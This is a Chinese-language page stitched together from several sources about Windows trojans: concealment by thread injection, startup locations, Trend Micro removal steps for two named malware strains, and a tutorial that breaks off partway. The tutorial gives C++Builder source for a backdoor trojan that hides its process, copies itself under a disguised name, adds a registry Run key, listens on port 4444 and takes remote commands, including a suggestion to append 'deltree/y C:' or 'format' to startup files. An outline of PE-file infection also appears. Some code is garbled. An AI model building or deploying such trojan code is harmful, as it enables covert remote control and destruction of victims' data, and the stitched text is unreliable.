木马程序特征-木马程序核心

hacker|
245

想明白木马插进程的原理

利用线程注射技术隐藏自己的病毒

时间:2007-7-24 10:38:49 作者:网络收集 出处:陈十三哥

隐藏是病毒的天性,在业界对病毒的定义里,“隐蔽性”就是病毒的一个最基本特征,任何病毒都希望在被感染的计算机中隐藏起来不被发现,因为病毒都只有在不被发现的情况下,才能实施其破坏行为。为了达到这个目的,许多病毒使用了各种不同的技术来躲避反病毒软件的检验,这样就产生了各种各样令普通用户头痛的病毒隐藏形式。由于木马后门的行为特征已具备病毒条件,因此这里把木马后门也统一归纳为病毒来描述。

开山鼻祖:隐藏窗口 隐藏进程 隐藏文件

在计算机流行的早期,计算机病毒和木马后门等危害程序在普通用户范围的普及并不是很广泛,这个时期的用户群对计算机和网络安全的防范意识可以说是几乎没有的,普通用户的系统也多为脆弱的Windows 95/98系列和电话线拨号的慢速网络,而那一段时间正是外国木马“bo”和国产木马雏形“冰河”、“netspy”等在如今看来各方面技术都颇为简单的远程控制软件大行其道的黄金时期,很多用户根本就没有防火墙和杀毒软件(即使有,也是以杀cih的为主),即使远方的黑客把用户的计算机翻了个底朝天,用户也不会有所察觉,这一时期接触此类技术的人相对较少,因此并未造成如今这个病毒到处蔓延的局面。

因为这个阶段国内用户的机器环境仍然以Windows 9x为主流,所以病毒编写者们并不需要消耗太多的脑筋就可以做到让病毒悄无声息运行的效果,并让它在alt+del+ctrl呼出的任务管理器中不可见。

我们都知道,在Windows下运行的程序界面都被定义为“窗口”,程序通过这个途径与用户产生交互,每个完整的程序都必须拥有至少一个窗口,但是如果编写者将这个窗口在运行期间设置为“不可见”呢?这样一来,用户就不会察觉到这个程序在桌面上运行了,但是如果有一定经验的用户打开任务管理器,他就会因为发现系统里多出来的进程而产生怀疑,因此病毒编写者在这个时期采取了初级形式的隐藏手段:隐藏进程。

其实所谓隐藏进程,是利用微软未公开的一个api(application programming interface,应用程序接口)函数“registerserviceprocess”将自身注册为“服务进程”,而恰巧Windows 9x中的任务管理器是不会显示此类进程的,结果就被病毒钻了空子,让“冰河”等木马在国内大部分普通用户的机器上安家落户。

而早期后门技术里,还有一个最基本的行为就是隐藏文件,与今天的各种隐藏手段相比,它可谓是“不入流”级别了——这里提到的“隐藏”,就是简单的将文件属性设置为“隐藏”而已,除此之外,再无别的保护手段了,然而,由于系统设计时为了避免初学者胡乱删除文件而默认“不显示系统和隐藏文件”的做法(到了Windows 2000/xp时代,这个做法更升级到“隐藏受保护的系统文件”了),却恰好给这些病毒提供了天然的隐身场所——大部分对电脑操作不熟悉的用户根本不知道“隐藏文件”的含义,更别提设置为“显示所有文件”了,在那个安全软件厂商刚开始探索市场的时代,用户更是不会留意太多安全产品及其实际含义,因而这个时期成了各种初期木马技术发展的重要阶段,利用这种手段制作的木马被统称为“第一代木马”。

以现在的技术和眼光看来,这些早期技术作品的发现和清理是相对较简单的了,因为它们采用的“进程隐藏”技术在nt体系上的Windows2000/xp/2003等操作系统上已经无效了,直接使用系统自带的任务管理器便能发现和迅速终止进程运行,而后在“控制面板”——“文件夹选项”里面设置“显示所有文件”和取消“隐藏受保护的系统文件”,就能发现那个被隐藏起来的木马程序了。对于Windows 9x用户,使用任意一款第三方的进程管理工具如“Windows优化大师”的进程管理组件即可轻松发现。

继续发展:使用线程注射技术的dll木马

虽然现在使用“线程注射”的木马病毒和流氓软件已经遍地开花了,但是从那个混沌时代经历过来的人都不会忘记首个采用“线程注射”的dll木马“广外幽灵”在当时所带来的恐惧,“线程注射”到底是种什么东西呢?下面就让我们来详细讲解一下。

首先,用户可能不会了解“线程”(thread)的意思,而要讲解“线程”,就不能不先提到“进程”(process)的概念。许多刚接触计算机的用户无法理解“进程”是什么东西:常常听到高手说打开任务管理器关闭某某进程,但是一看到任务管理器列表里的一堆东西,头就大了。许多用户知道使用任务管理器关闭一些失去响应的任务,但是如果某个任务没有在“应用程序”列表里出现,用户就不知所措了。到底什么是“进程”呢?“进程”是指一个可执行文件在运行期间请求系统在内存里开辟给它的数据信息块,系统通过控制这个数据块为运行中的程序提供数据交换和决定程序生存期限,任何程序都必须拥有至少一个进程,否则它不被系统承认。进程从某一方面而言就是可执行文件把自身从存储介质复制在内存中的映像,它通常和某个在磁盘上的文件保持着对应关系,一个完整的进程信息包括很多方面的数据,我们使用进程查看工具看到的“应用程序”选项卡包含的是进程的标题,而“进程”选项卡包含的是进程文件名、进程标识符、占用内存等,其中“进程文件名”和“进程标识符”是必须掌握的关键,“进程标识符”是系统分配给进程内存空间时指定的唯一数字,进程从载入内存到结束运行的期间里这个数字都是保持不变的,而“进程文件名”则是对应着的介质存储文件名称,根据“进程文件名”我们就可以找到最初的可执行文件位置。

任务管理器的“应用程序”项里列出来的“任务”,是指进程在桌面上显示出来的窗口对象,例如用户打开word 2003撰写文档,它的进程“winword.exe”会创建一个在桌面上显示的前台窗口,这个窗口就是任务管理器里看得见的“任务”了,而实际上真正在运行的是进程“winword.exe”。并不是所有的进程都会在任务管理器里留下“任务”的,像qq、msn和所有后台程序,它们并不会在任务列表里出现,但是你会在进程列表里找到它们,如果要它们在任务列表里出现该怎么办呢?只要让它们产生一个在桌面上出现的窗体就可以了,随便打开一个好友聊天,就会发现任务列表里终于出现了qq的任务。因此,真正科学的终止程序执行方案是针对“进程”来结束程序的运行,而不是在任务列表里关闭程序,因为木马作者们是不会让自己的木马在任务列表里出现的,但是进程列表里一般人都是逃不过的。

而“线程”,则是在一个进程里产生的多个执行进度实例,举个简单例子,一个网络文件传输程序如果只有一个线程(单线程)运作,那么它的执行效率会非常低下,因为它既需要从网络上读取文件数据,又需要把文件保存到磁盘,同时还需要绘制当前传输进度条,由于在代码的角度里这些操作只能一条条的顺序执行,程序就不能很好的做到在保存数据的同时绘制传输进度条,即使程序员将其勉强凑到一块执行,在用户方面看来,这个程序的响应会非常缓慢甚至直接崩溃,而“多线程”技术则是为了解决这种问题而产生的,采用“多线程”技术编写的应用程序在运行时可以产生多个同时执行的操作实例,例如一个采用“多线程”技术的网络文件传输程序就能同时分出三个进度来同时执行网络数据传输、文件保存操作和绘制传输进度条的操作,于是在用户看来,这个程序运行非常流畅,这就是线程的作用。在程序运行时,只能产生一个进程,但是在这个进程的内存空间(系统为程序能正常执行而开辟的独立内存领域)里,可以产生多个线程,其中至少有一个默认的线程,被称为“主线程”,它是程序主要代码的运行部分。

那么,“线程注射”又是什么含义呢?其实它的全称是“远程线程注射”(remotethread injection),通常情况下,各个进程的内存空间是不可以相互访问的,这也是为程序能够稳定运行打下基础,这个访问限制让所有进程之间互相独立,这样一来,任何一个非系统关键进程发生崩溃时都不会影响到其他内存空间里的进程执行,从而使nt架构的稳定性远远高于win9x架构。但是在一些特定的场合里,必须让进程之间可以互相访问和管理,这就是“远程线程”技术的初衷,这个技术实现了进程之间的跨内存空间访问,其核心是产生一个特殊的线程,这个线程能够将一段执行代码连接到另一个进程所处的内存空间里,作为另一个进程的其中一个非核心线程来运行,从而达到交换数据的目的,这个连接的过程被称为“注射”(injection)。远程线程技术好比一棵寄生在大树上的蔓藤,一旦目标进程被注射,这段新生的线程就成为目标进程的一部分代码了,只要目标进程不被终止,原进程无论是否还在运行都不会再影响到执行结果了。

与“线程注射”离不开的是“hook”技术,这个“hook”,又是什么呢?其官方定义如下:

钩子(hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。

钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

在这里,木马编写者首先把一个实际为木马主体的dll文件载入内存,然后通过“线程注射”技术将其注入其他进程的内存空间,最后这个dll里的代码就成为其他进程的一部分来实现了自身的隐藏执行,通过调用“hook”机制,这个dll木马便实现了监视用户的输入输出操作,截取有用的资料等操作。这种木马的实际执行体是一个dll文件,由于Windows系统自身就包含着大量的dll文件,谁也无法一眼看出哪个dll文件不是系统自带的,所以这种木马的隐蔽性又提高了一级,而且它的执行方式也更加隐蔽,这是由Windows系统自身特性决定的,Windows自身就是大量使用dll的系统,许多dll文件在启动时便被相关的应用程序加载进内存里执行了,可是有谁在进程里直接看到过某个dll在运行的?因为系统是把dll视为一种模块性质的执行体来调用的,它内部只包含了一堆以函数形式输出的模块,也就是说每个dll都需要由一个用到它的某个函数的exe来加载,当dll里的函数执行完毕后就会返回一个运行结果给调用它的exe,然后dll进程退出内存结束这次执行过程,这就是标准的dll运行周期,而采用了“线程注射”技术的dll则不是这样,它们自身虽然也是导出函数,但是它们的代码是具备执行逻辑的,这种模块就像一个普通exe,只是它不能直接由自身启动,而是需要有一个特殊作用的程序(称为加载者)产生的进程把这个dll的主体函数载入内存中执行,从而让它成为一个运行中的木马程序。了解Windows的用户都知道,模块是紧紧依赖于进程的,调用了某个模块的进程一旦退出执行,其加载的dll模块也就被迫终止了,但是在dll木马里,这个情况是不会因为最早启动的exe被终止而发生的,因为它使用了“远程线程注射”技术,所以,在用户发现异常时,dll木马早就不知道被注入哪个正常进程里了,即使用户发现了这个木马dll,也无法把它终止,因为要关闭它就必须在那么多的系统进程里找到被它注射的进程,并将其终止,对一般用户来说,这是个不可能完成的任务。

什么是驱动层木马?!!

驱动层木马是一种高级的木马,杀伤力大,顽固性强,很难彻底的杀除,比如说食猫鼠病毒就是驱动层木马的典型代表,该病毒通过优播高清影视流氓推广的“好爱音乐收音机”传播,是此前一个updroots导入证书木马病毒的新变种,它使用了一个带伪造签名的register.exe做为木马下载器,流氓推广软件,一旦感染这种病毒不仅电脑隐私都会泄露,而且杀毒软件功能都会被强行阻断

由此可见驱动层木马非常可怕,必须安装一些功能强大的杀毒软件来防范,你可以试试腾讯电脑管家,因为我看网页新闻上说,它是目前为止唯一没有被食猫鼠病毒等驱动层木马阻断云安全服务的安全软件

希望对你能有所帮助。

请介绍下C语言写木马的算法......

我只知道window的木马程序的原理,首先你要去研究一下windows PE文件的格式,windows PE文件包括(exe dll文件等),用文本方式打开任意一个exe或者dll文件,就会发现这些文件都具有类似的组织结构(就是PE格式)

仔细耐心地研究了PE格式后,你会发现这些PE格式的文件有很多间隙空间可用,window木马程序正是利用PE格式文件中的这些间隙,把自己的代码插入这些间隙空间中,同时还要修改宿主程序的入口地址(OEP Original Entry Point)

这样,宿主程序一运行,首先运行生成木马的代码,然后运行宿主程序。

Windows应用程序捆绑核心编程 (PE)

木马程序 Trojan-Downloader.Win32.Agent.bbb 文件: C:\WINDOWS\SYSTEM32\YSYAQ.DLL怎么清除?

特鲁伊木马病毒!

这种病毒怎么清除? 特洛伊木马(Trojan horse)

完整的木马程序一般由两个部份组成:一个是服务器程序,一个是控制器程序。“中了木马”就是指安装了木马的服务器程序,若你的电脑被安装了服务器程序,则拥有控制器程序的人就可以通过网络控制你的电脑、为所欲为,这时你电脑上的各种文件、程序,以及在你电脑上使用的帐号、密码就无安全可言了。

木马程序不能算是一种病毒,但越来越多的新版的杀毒软件,已开始可以查杀一些木马了,所以也有不少人称木马程序为黑客病毒。

特洛伊木马是如何启动的

1. 在Win.ini中启动

在Win.ini的[windows]字段中有启动命令"load="和"run=",在一般情况下 "="后面是空白的,如果有后跟程序,比方说是这个样子:

run=c:\windows\file.exe

load=c:\windows\file.exe

要小心了,这个file.exe很可能是木马哦。

2.在System.ini中启动

System.ini位于Windows的安装目录下,其[boot]字段的shell=Explorer.exe是木马喜欢的隐藏加载之所,木马通常的做法是将该何变为这样:shell=Explorer.exefile.exe。注意这里的file.exe就是木马服务端程序!

另外,在System.中的[386Enh]字段,要注意检查在此段内的"driver=路径\程序名"这里也有可能被木马所利用。再有,在System.ini中的[mic]、[drivers]、[drivers32]这3个字段,这些段也是起到加载驱动程序的作用,但也是增添木马程序的好场所,现在你该知道也要注意这里喽。

3.利用注册表加载运行

如下所示注册表位置都是木马喜好的藏身加载之所,赶快检查一下,有什么程序在其下。

4.在Autoexec.bat和Config.sys中加载运行

请大家注意,在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都需要控制端用户与服务端建立连接后,将己添加木马启动命令的同名文件上传到服务端覆盖这两个文件才行,而且采用这种方式不是很隐蔽。容易被发现,所以在Autoexec.bat和Confings中加载木马程序的并不多见,但也不能因此而掉以轻心。

5.在Winstart.bat中启动

Winstart.bat是一个特殊性丝毫不亚于Autoexec.bat的批处理文件,也是一个能自动被Windows加载运行的文件。它多数情况下为应用程序及Windows自动生成,在执行了Windows自动生成,在执行了Win.com并加截了多数驱动程序之后

开始执行 (这一点可通过启动时按F8键再选择逐步跟踪启动过程的启动方式可得知)。由于Autoexec.bat的功能可以由Witart.bat代替完成,因此木马完全可以像在Autoexec.bat中那样被加载运行,危险由此而来。

6.启动组

木马们如果隐藏在启动组虽然不是十分隐蔽,但这里的确是自动加载运行的好场所,因此还是有木马喜欢在这里驻留的。启动组对应的文件夹为C:\Windows\start menu\programs\startup,在注册表中的位置:HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Explorer\shell

Folders Startup="c:\windows\start menu\programs\startup"。要注意经常检查启动组哦!

7.*.INI

即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。只启动一次的方式:在winint.ini.中(用于安装较多)。

8.修改文件关联

修改文件关联是木马们常用手段 (主要是国产木马,老外的木马大都没有这个功能),比方说正常情况下TXT文件的打开方式为Notepad.EXE文件,但一旦中了文件关联木马,则txt文件打开方式就会被修改为用木马程序打开,如著名的国产木马冰河就是这样干的. "冰河"就是通过修改HKEY_CLASSES_ROOT\txtfile\whell\open\command下的键值,将“C:\WINDOWS\NOTEPAD.EXE本应用Notepad打开,如著名的国产HKEY一CLASSES一ROOT\txt闹e\shell\open\commandT的键值,将 "C:\WINDOWS\NOTEPAD.EXE%l"改为 "C:\WINDOWS\SYSTEM\SYSEXPLR.EXE%l",这样,一旦你双击一个TXT文件,原本应用Notepad打开该文件,现在却变成启动木马程序了,好狠毒哦!请大家注意,不仅仅是TXT文件,其他诸如HTM、EXE、ZIP.COM等都是木马的目标,要小心搂。

对付这类木马,只能经常检查HKEY_C\shell\open\command主键,查看其键值是否正常。

9.捆绑文件

实现这种触发条件首先要控制端和服务端已通过木马建立连接,然后控制端用户用工具软件将木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖源文件,这样即使木马被删除了,只要运行捆绑了木马的应用程序,木马义会安装上去。绑定到某一应用程序中,如绑定到系统文件,那么每一次Windows启动均会启动木马。

10.反弹端口型木马的主动连接方式

反弹端口型木马我们已经在前面说过了,由于它与一般的木马相反,其服务端 (被控制端)主动与客户端 (控制端)建立连接,并且监听端口一般开在80,所以如果没有合适的工具、丰富的经验真的很难防范。这类木马的典型代表就是网络神偷"。由于这类木马仍然要在注册表中建立键值注册表的变化就不难查到它们。同时,最新的天网防火墙(如我们在第三点中所讲的那样),因此只要留意也可在网络神偷服务端进行主动连接时发现它。

WORM_NUGACHE.G(威金)和TROJ_CLAGGE.B 特洛伊木马(Trojan horse)

的解决方案:

WORM_NUGACHE.G(威金)

病毒码发布日期: Dec 8, 2006

解决方案:

Note: To fully remove all associated malware, perform the clean solution for TROJ_DLOADER.IBZ.

Terminating the Malware Program

This procedure terminates the running malware process.

Open Windows Task Manager.

• On Windows 98 and ME, press

CTRL+ALT+DELETE

• On Windows NT, 2000, XP, and Server 2003, press

CTRL+SHIFT+ESC, then click the Processes tab.

In the list of running programs*, locate the process:

MSTC.EXE

Select the malware process, then press either the End Task or the End Process button, depending on the version of Windows on your computer.

To check if the malware process has been terminated, close Task Manager, and then open it again.

Close Task Manager.

*NOTE: On computers running Windows 98 and ME, Windows Task Manager may not show certain processes. You can use a third party process viewer such as Process Explorer to terminate the malware process.

On computers running all Windows platforms, if the process you are looking for is not in the list displayed by Task Manager or Process Explorer, continue with the next solution procedure, noting additional instructions. If the malware process is in the list displayed by either Task Manager or Process Explorer, but you are unable to terminate it, restart your computer in safe mode.

Editing the Registry

This malware modifies the computer's registry. Users affected by this malware may need to modify or delete specific registry keys or entries. For detailed information regarding registry editing, please refer to the following articles from Microsoft:

HOW TO: Backup, Edit, and Restore the Registry in Windows 95, Windows 98, and Windows ME

HOW TO: Backup, Edit, and Restore the Registry in Windows NT 4.0

HOW TO: Backup, Edit, and Restore the Registry in Windows 2000

HOW TO: Back Up, Edit, and Restore the Registry in Windows XP and Server 2003

Removing Autostart Entries from the Registry

Removing autostart entries from the registry prevents the malware from executing at startup.

If the registry entry below is not found, the malware may not have executed as of detection. If so, proceed to the succeeding solution set.

Open Registry Editor. Click StartRun, type REGEDIT, then press Enter.

In the left panel, double-click the following:

HKEY_LOCAL_MACHINESOFTWAREMicrosoft

WindowsCurrentVersionRun

In the right panel, locate and delete the entry:

Microsoft Domain Controller = "%System%\mstc.exe"

(Note: %System% is the Windows system folder, which is usually C:\Windows\System on Windows 98 and ME, C:\WINNT\System32 on Windows NT and 2000, and C:\Windows\System32 on Windows XP and Server 2003.)

Removing Added Key from the Registry

Still in Registry Editor, in the left panel, double-click the following:

HKEY_LOCAL_MACHINESOFTWARE

In the left panel, locate and delete the following key:

GNU

Close Registry Editor.

Important Windows ME/XP Cleaning Instructions

Users running Windows ME and XP must disable System Restore to allow full scanning of infected computers.

Users running other Windows versions can proceed with the succeeding solution set(s).

Running Trend Micro Antivirus

If you are currently running in safe mode, please restart your computer normally before performing the following solution.

Scan your computer with Trend Micro antivirus and delete files detected as WORM_NUGACHE.G. To do this, Trend Micro customers must download the latest virus pattern file and scan their computer. Other Internet users can use HouseCall, the Trend Micro online virus scanner.

Applying Patch

This malware exploits known vulnerability in Windows. Download and install the fix patch supplied by Microsoft. Refrain from using this product until the appropriate patch has been installed. Trend Micro advises users to download critical patches upon release by vendors.

TROJ_CLAGGE.B 特洛伊木马(Trojan horse)

病毒码发布日期: Sep 18, 2006

解决方案:

Identifying the Malware Program

To remove this malware, first identify the malware program.

Scan your computer with your Trend Micro antivirus product.

NOTE the path and file name of all files detected as TROJ_CLAGGE.B.

Trend Micro customers need to download the latest virus pattern file before scanning their computer. Other users can use Housecall, the Trend Micro online virus scanner.

Editing the Registry

This malware modifies the computer's registry. Users affected by this malware may need to modify or delete specific registry keys or entries. For detailed information regarding registry editing, please refer to the following articles from Microsoft:

HOW TO: Backup, Edit, and Restore the Registry in Windows 95, Windows 98, and Windows ME

HOW TO: Backup, Edit, and Restore the Registry in Windows NT 4.0

HOW TO: Backup, Edit, and Restore the Registry in Windows 2000

HOW TO: Back Up, Edit, and Restore the Registry in Windows XP and Server 2003

Removing Malware Entry from the Registry

Open Registry Editor. Click StartRun, type REGEDIT, then press Enter.

In the left panel, double-click the following:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices

SharedAccessParametersFiREWaLLpolicyStAnDaRDPrOFiLe

AUtHorizedapplicationsList

In the right panel, locate and delete the entry:

{Malware path and file name} ="{Malware path and file name}:*:ENABLED:0"

Close Registry Editor.

Important Windows ME/XP Cleaning Instructions

Users running Windows ME and XP must disable System Restore to allow full scanning of infected computers.

Users running other Windows versions can proceed with the succeeding solution set(s).

Running Trend Micro Antivirus

If you are currently running in safe mode, please restart your computer normally before performing the following solution.

Scan your computer with Trend Micro antivirus and delete files detected as TROJ_CLAGGE.B and TROJ_KEYLOG.CO. To do this, Trend Micro customers must download the latest virus pattern file and scan their computer. Other Internet users can use HouseCall, the Trend Micro online virus scanner

什么是木马 大家简单给我介绍一下吧

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

